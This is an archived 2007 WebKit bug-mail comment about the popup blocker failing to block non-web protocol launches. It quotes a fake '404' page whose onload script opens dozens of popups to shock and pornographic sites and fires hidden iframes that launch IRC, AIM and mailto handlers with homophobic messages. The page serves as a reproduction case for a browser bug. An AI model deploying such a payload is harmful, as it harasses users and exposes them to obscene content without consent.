[Webkit-unassigned] [Bug 12336] Popup blocker should block non-webkit handled protocols without user action

Fri Jan 19 14:51:04 PST 2007

http://bugs.webkit.org/show_bug.cgi?id=12336


------- Comment #4 from webkit-bugs at gentlyusedunderwear.com  2007-01-19 14:51 PDT -------
nah, it's not an exploit, just annoying as hell. I edited my email addy out of
the script and the channel it joins.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
        "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

<html>
<head>
        <title>Not found</title>
        <meta http-equiv="refresh" content="10; url=http://halflife2.zoy.org/"
/>
        <script>
                var shock = new Array();
                shock[0] = "http://www.lemonparty.org/";
                shock[1] =
"http://pr0n.encyclopediadramatica.com/images/thumb/c/ca/Kitties.jpg/800px-Kitties.jpg";
                shock[2] =
"http://pr0n.encyclopediadramatica.com/images/thumb/a/ab/Painseries.jpg/800px-Painseries.jpg";
                shock[3] =
"http://www.encyclopediadramatica.com/index.php/Image:Ultimate.JPG";
                shock[4] =
"http://pr0n.encyclopediadramatica.com/images/thumb/1/1a/Pain.jpg/800px-Pain.jpg";
                shock[5] = "http://www.geocities.com/gniger972/pooped.jpg";
                shock[6] = "http://www.redcoat.net/pics/tubgirl.jpg";

                var pisses = new Array();
                pisses[0] = "irc://g4y" + Math.random()*3 +
"@irc.freenode.org/#channel";
                pisses[1] = "aim:goim?screenname=gay&message=i hrd yo like me";
                pisses[2] = "mailto:<my email addy>&message=i hrd yo like me";

                function pwnage() {
                        pwn = document.getElementById('pwned');

                        for (x = 0; x < 90; x++) {
                                var site =
Math.round(Math.random()*shock.length);
                                window.open(shock[site]);

                                new_img = document.createElement('img');
                                new_img.src = shock[site];
                                pwn.appendChild(new_img);
                                piss_you = document.createElement('iframe');
                                piss_you.src =
pisses[Math.round(Math.random()*pisses.length)];
                                piss_you.width = 1;
                                piss_you.height = 1;
                                pwn.appendChild(piss_you);
                        }

                }
        </script>
</head>
<body onload="pwnage()">
        <h1 style="text-align:center;">404 - Not found</h1>
        <div id="pwned"></div>
</body>
</html>


-- 
Configure bugmail: http://bugs.webkit.org/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.